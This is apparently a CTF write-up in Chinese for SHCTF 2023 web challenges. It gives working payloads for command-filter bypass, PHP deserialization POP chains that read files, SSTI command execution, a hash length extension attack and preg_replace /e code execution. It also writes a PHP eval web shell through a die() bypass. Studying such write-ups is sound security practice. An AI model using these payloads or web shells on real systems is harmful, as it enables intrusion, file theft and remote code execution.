[WEEK1]babyRCE
开题,直接给了源码,简单过滤。
被过滤 | 绕过方法 |
---|---|
cat/tac | uniq |
flag | fla? |
空格 | %09 |
payload:
?rce=ls%09/
?rce=uniq%09/fla?
[WEEK1]1zzphp
考点:intval()函数绕过(数组)、PCRE回溯次数限制绕过
直接给了源码:
<?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}
分析源码,我们若想执行echo $flag;
,需要满足if(intval($num))
;不满足if(preg_match("/[0-9]/", $num))
、if(preg_match('/.+?SHCTF/is', $code))
、if(stripos($code,'2023SHCTF') === FALSE)
这三个条件。
首先是第一部分,intval()函数绕过(数组),我们要满足$num
里面没有数字(preg_match检测不出来),同时满足intval($num)
为1(true)。
这里采用数组绕过。preg_math()
传入数组参数会直接返回0,同时intval()
函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1故此传入?num[]=1
,产生错误返回1。
?num[]=1
然后是第二部分,PCRE回溯次数限制绕过。要不满足if(preg_match('/.+?SHCTF/is', $code))
、if(stripos($code,'2023SHCTF') === FALSE)
这两个条件,就是preg_match()
函数检测不出字符串什么什么SHCTF
,但是stripos()
要检测出字符串2023SHCTF
。
代码有强制类型转换$code = (String)$_POST['c_ode'];
,不能采用数组绕过。因为preg_match()
函数包含.+?
,我们采用PCRE回溯次数限制绕过
来绕过preg_match()
函数的检测,脚本如下:
import requests
res = requests.post("http://112.6.51.212:32674/?num[]=1",data = {"c_ode":"-"*1000000+"2023SHCTF"})
print(res.text)
注意点:
2023SHCTF
字符串放后面,因为回溯限制,回溯百万次后就不匹配了(前面的一百万字符),后面2023SHCTF
的不会被preg_match()
函数匹配。
[WEEK1]ez_serialize
题目描述:听说你会PHP反序列化漏洞?不信,除非can_can_need_flag
直接给了源码:
构造简单POP链,学会魔术方法就行了。
__invoke(),调用函数的方式调用一个对象时的回应方法。
__get(),读取不可访问属性的值时,会被调用。
__toString() ,用于一个类被当成字符串时的回应。
链子:
B::__wakeup()->
C::__toString()->
D::__get($key)->
A::__invoke()
过滤不用管,匹配到了只是echo,又不die出。
EXP: (flag文件位置按经验猜)
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
/*
B::__wakeup()->
C::__toString()->
D::__get($key)->
A::__invoke()
*/
$jay17=new B();
$jay17->q=new c();
$jay17->q->var="xxx";
$jay17->q->z=new D();
$jay17->q->z->p=new A();
$jay17->q->z->p->var_1="php://filter/read=convert.base64-encode/resource=flag.php";
echo urlencode(serialize($jay17));
[WEEK1]登录就给flag
开题,要求我们登录。
直接开始爆破,账号admin
。爆破得到密码是password
[WEEK1]飞机大战
前端游戏题。
flag在源码里面,自己解码一下。
[WEEK1]ezphp
直接给了源码:
仔细阅读逻辑发现,算是没过滤了。是先过滤,再赋值,过滤时候$code
总是为空。
if(!preg_match(".....",$code))
{
$code=$_GET['code'];
特征代码一下子就能发现。preg_replace()的/e模式存在命令执行漏洞。可以参考:深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)
payload:
GET:?code=${phpinfo()}
POST:pattern=\S*
flag在phpinfo里面。
[WEEK1]生成你的邀请函吧~
题目描述:
API:url/generate_invitation
Request:POST application/json
Body:{
"name": "Yourname",
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"
}
使用POST json请求来生成你的邀请函吧flag就在里面哦
开题:
应该是考察json格式发包,按照提示来就行了。
会下载一个文件。
flag在里面
[WEEK2]serialize
直接给了源码,乍一看是PHP反序列化中的POP链构造。
一、倒推一下,终点应该是milaoshu::__tostring()
。
二、misca::__get()
方法中的die()
函数可以调用milaoshu::__tostring()
方法。不要被die吓到,虽然会直接结束运行,但是顺序是先触发milaoshu::__tostring()
,再die出程序。
die()
同exit()
,参数可以是字符串和数字,你传个类进去肯定是当作字符串了啊,那就触发了那个类(参数)的__tostring()
魔术方法。
三、musca::__weakup()
方法可以调用misca::__get()
方法。
所以最终链子如下:
musca::__weakup()->
misca::__get()->
milaoshu::__tostring()
先造个EXP看看:
<?php
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
$a=new musca();
$a->ding=new misca();
$a->dong="Jay17"; //不存在的属性。
$a->ding->a=&$a->ding->gao; //变量引用绕过miaomiao()方法。
$a->ding->fei=new milaoshu();
$a->ding->fei->v="/etc/passwd";
echo serialize($a);
生成的payload:
O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:11:"/etc/passwd";}s:1:"a";R:3;}s:4:"dong";s:5:"Jay17";}
还剩下两个问题,一是传参,二是绕过正则。
传参问题用PHP字符串解析特性:
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
- 删除空白符
- 将某些字符( [ 空格 + . )转换为下划线
实际应用:
- get传参NSS_JAY,不能直接传时,传NSS[JAY。
//php的变量解析绕过,[ 被处理成 _- 当[提前出现后,后面的 . 就不会再被转义成_了。
- 当这些字符为首字母时,只有点号会被替换成下划线
所以我们GET提交的参数应该是:wanna[fl.ag
绕过正则,我们有两种办法。一是用O:+数字
代替O:数字
。二是再在外面包一层数组。
方法一:暂时不能用来解本题。
方法二:外面包一层数组
<?php
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
$a=new musca();
$a->ding=new misca();
$a->dong="Jay17"; //不存在的属性。
$a->ding->a=&$a->ding->gao; //变量引用绕过miaomiao()方法。
$a->ding->fei=new milaoshu();
$a->ding->fei->v="php://filter/read=convert.base64-encode/resource=flag.php";
$b[]=$a;
echo serialize($b);
payload:
?wanna[fl.ag=a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";s:5:"Jay17";}}
[WEEK2]no_wake_up
源码直接给了。
<?php
highlight_file(__FILE__);
class flag{
public $username;
public $code;
public function __wakeup(){
$this->username = "guest";
}
public function __destruct(){
if($this->username = "admin"){
include($this->code);
}
}
}
unserialize($_GET['try']);
考察了PHP反序列化绕过__wakeup()
。可以看看:绕过__wakeup() 反序列化 合集_Jay 17的博客-CSDN博客
PHP版本是7.0.9
我们采用fast-destruct
来绕过。原理是GC回收机制。
先写个EXP:
<?php
class flag{
public $username;
public $code;
public function __wakeup(){
$this->username = "guest";
}
public function __destruct(){
if($this->username = "admin"){
include($this->code);
}
}
}
$a=new flag();
$a->username = "admin";
$a->code = "php://filter/read=convert.base64-encode/resource=flag.php";
echo serialize($a);
生成:
O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
删掉末尾的花括号即可触发fast-destruct
payload:
?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";
[WEEK2]ez_rce***
题目描述:attack subprocess call(攻击子进程调用)
附件给了源码:
from flask import *
import subprocess
app = Flask(__name__)
def gett(obj,arg):
tmp = obj
for i in arg:
tmp = getattr(tmp,i)
return tmp
def sett(obj,arg,num):
tmp = obj
for i in range(len(arg)-1):
tmp = getattr(tmp,arg[i])
setattr(tmp,arg[i+1],num)
def hint(giveme,num,bol):
c = gett(subprocess,giveme)
tmp = list(c)
tmp[num] = bol
tmp = tuple(tmp)
sett(subprocess,giveme,tmp)
def cmd(arg):
subprocess.call(arg)
@app.route('/',methods=['GET','POST'])
def exec():
try:
if request.args.get('exec')=='ok':
shell = request.args.get('shell')
cmd(shell)
else:
exp = list(request.get_json()['exp'])
num = int(request.args.get('num'))
bol = bool(request.args.get('bol'))
hint(exp,num,bol)
return 'ok'
except:
return 'error'
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
[WEEK2]MD5的事就拜托了
直接给了源码,考察MD5。
整理一下,我们可以通过满足条件得到$flag
的MD5和$flag
的长度。然后我们需要算出md5($flag.urldecode($num))
。
一、如何获得$flag
的MD5
判断条件:
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
函数解释:
parse_url()
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
输出:
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
extract()
:用来将变量从数组中导入到当前的符号表中。
如果要满足$$$scheme==='SHCTF'
,我们可以使[scheme] => host
,导致$$host==='SHCTF'
;再使得[host] => user
导致$user==='SHCTF'
,就满足条件。
相关数组构建:
Array
(
[scheme] => host
[host] => user
[user] => SHCTF
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
传参:(POST)
SHCTF=host://SHCTF:password@user/path?arg=value#anchor
得到flag的MD5值:dbef700745bd5917d2c60821aab91d8d
二、如何获得$flag
的长度
判断条件:
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
intval()
函数是取整,不保留小数。
传参:(GET)
?length=1.1111111
得到flag长度是42
后来验证1.1也可以,想不明白为什么。。。。。
三、算出md5($flag.urldecode($num))
。
$num
我们可以自定义。
哈希扩展长度攻击的条件:md5("密文"+"已知字符串")=已知哈希值
。由此条件我们可以获得md5("密文"+"处理过的已知字符串")=处理过的已知哈希值
。
关键思路:我们现在的条件是md5($flag)=已知哈希值
,是不是也是md5("$flag少一个花括号"+"}")=已知哈希值
。
hashpump
工具用法:文件夹下开终端(cd进去也可以),输入hashpump
。
Input Signature #现有哈希值(题目给的MD5)
Input Data #已知字符串"}"
Input Key Length #为密文长度"41"
Input Data to Add #为补位后自己加的字符串(自定义)
e4d9c26257dc63b7f1a2ae3f9e72fa01
}\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x01\x00\x00\x00\x00\x00\x00Jay17
可以看到返回给我们两行内容,第一行是处理过的哈希值,第二行是处理过的已知字符串。
满足:md5("密文"+"处理过的已知字符串")=处理过的哈希值
。就是md5($flag+"\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x01\x00\x00\x00\x00\x00\x00Jay17")=e4d9c26257dc63b7f1a2ae3f9e72fa01
。
把\x
换成%
然后url编码一下就行。
payload:
GET:
?length=%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500P%2501%2500%2500%2500%2500%2500%2500Jay17
POST:
SHCTF=e4d9c26257dc63b7f1a2ae3f9e72fa01
[WEEK2]ez_ssti
经典SSTI,GET传参name就行。
我们选择用popen
函数执行命令,其他五种执行命令方式同理。
先测测os
模块在哪
{{x.__class__.__bases__.__getitem__(0).__subclasses__()}}
定位132
没有过滤,payload:
?name={{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('tac /flag').read()}}
[WEEK2]EasyCMS
开题,是taoCMS
这个CMS有两个CVE,分别是CVE-2021-44915
、CVE-2022-25578
先看CVE-2021-44915
路由/admin/admin.php
是后台,登录账号和密码默认是admin、tao,选择管理栏目菜单。
点击编辑,然后随便改点内容,提交时候抓包。
id
是注入点。直接拿sqlmap跑就行了。
再看CVE-2022-25578
路由/admin/admin.php
是后台,登录账号和密码默认是admin、tao,选择文件管理
。
是否还记得文件上传中的.htaccess
配置文件绕过发,在这个文件中加入一句AddType application/x-httpd-php .jpg
,将所有jpg文件当作php文件解析。
但是这里没有/pictures
目录,本来应该在/pictures
新建一个jpg文件,内容是一句话马。
所以说这里是无法使用CVE-2022-25578
来任意命令执行的。
我们等价替换一下,直接改了index.php
的源码,内容换成一句话木马。
[WEEK3]快问快答
题目描述:
男:尊敬的领导,老师
女:亲爱的同学们
合:大家下午好!
男:伴着优美的音乐,首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。
一看就是需要写脚本的题目。要求两秒以内回答,连续回答50题。
先抓个包看看,重要请求头如下:
Cookie: PHPSESSID=e313320de60a72577f25da74fb6a3bdb; session=eyJjb3VudGVyIjo1LCJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5NzcxOTExOS41MzY1NzV9.ZTEjTw.-Xs2_MbzxDUqILiUvJcNdrmsyPk
answer=11
再看一下返回包:
注意一点,题目替换了一些符号:
题目符号 | 数学符号 |
---|---|
x | * |
异或 | ^ |
与 | & |
÷ | // (整除) |
根据包和字符替换写的脚本如下:
脚本如下:
#Author:Jay17
import re
import requests
import time
url = 'http://112.6.51.212:32329/'
res = requests.session() #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
response = res.get(url) #发get包,获取题目
time.sleep(1) # 睡一秒
for i in range(1, 99):
math = ""
n=0
resTest = response.text #获取返回包的内容
print(response.text)
for j in range(0, len(resTest)): #遍历获取网页数学表达式,这里建议用正则表达式(re)
if resTest[j - n] == ":":
if resTest[j]=="=":
break
math = math + resTest[j]
n+=1
# strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列
math = math.strip('=') #去掉末尾等号
math = math.strip(':') # 去掉开头冒号
math = math.strip(' ') # 去掉首尾空格
#替换字符
math = re.sub(r'x', '*', math)
math = re.sub(r'÷', '//', math)
math = re.sub(r'异或', '^', math)
math = re.sub(r'与', '&', math)
print(math)
num = eval(math) #计算数学表达式的值
myData = { #构造的POST数据
'answer': num
}
# 更新session
#cookie = res.headers.get("Set-Cookie")
# 更新http头
#h_s = {'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookie}
#监听:,proxies={"http":"127.0.0.1:8080"}
response = res.post(url, data=myData,proxies={"http":"127.0.0.1:8080"}) #发post包,提交答案,并且获取返回包,获取下一个计算式
print(response.text) #打印当前返回包的内容
time.sleep(1) # 睡一秒
if "flag{" in response.text: #如果返回包里面有flag
print("\n\n\nFlaggggggggg: ", response.text)
exit() # 退出当前程序,也可以break
[WEEK3]sseerriiaalliizzee
题目描述:don’t want to die
直接给了源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
return $this->barking->dosomething();
}
}
class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;
}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";
}
}
$code=$_POST['code'];
if(isset($code)){
echo unserialize($code);
}
else{
echo "no way, fuck off";
}
?>
第一眼肯定觉得直接反序列化一个Start
类,直接就能包含flag.php
获得flag了。但是问题是包含了不回显啊。所以我们要重新找条链子。
真实链子如下:
Start::__construct()->
Start::__toString()->
CTF::dosomething()
只有一个问题,就是如何绕过死亡die,成功写入文件:
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
我们使用base64绕过,同时这里是不同变量。
<?php $filename=$_GET['filename']; $content=$_GET['content']; file_put_contents($filename,"<?php exit();".$content); **绕过原理: **通过base64解密或rot13解密使"<?php exit();"变为乱码,而传入的$content为base64编码,解码后为正常shell语句。通过这种方式使前者失效。 **构造payload:** base64 ?filename=php://filter/convert.base64-decode/resource=1.php&content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOw== (也可以是php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php,自动将<?php?>全部删掉)
由此原理我们可以构造EXP:
<?php
class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
return $this->barking->dosomething();
}
}
class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;
}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";
}
}
$a=new Start();
$a->barking=new CTF();
$a->barking->part1="php://filter/convert.base64-decode/resource=17.php";
$a->barking->part2="PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==";
echo serialize($a);
payload:
code=O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:50:"php://filter/convert.base64-decode/resource=17.php";s:5:"part2";s:32:"PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==";}}
文件写入成功,但是没有回显或出现乱码。
原因是base64位数不符合。自己拿在线网站解密一下就知道了。
解决办法是补位,在base64的恶意代码前面补两个字符。
由此我们最终payload是:
code=O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:50:"php://filter/convert.base64-decode/resource=17.php";s:5:"part2";s:34:"aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==";}}
[WEEK3]gogogo
开题,题目提示我们要变成admin身份。
先看看他是怎么判断身份的。应该是cookie中的session。
但是头大的是,这个session我们暂时无法解密。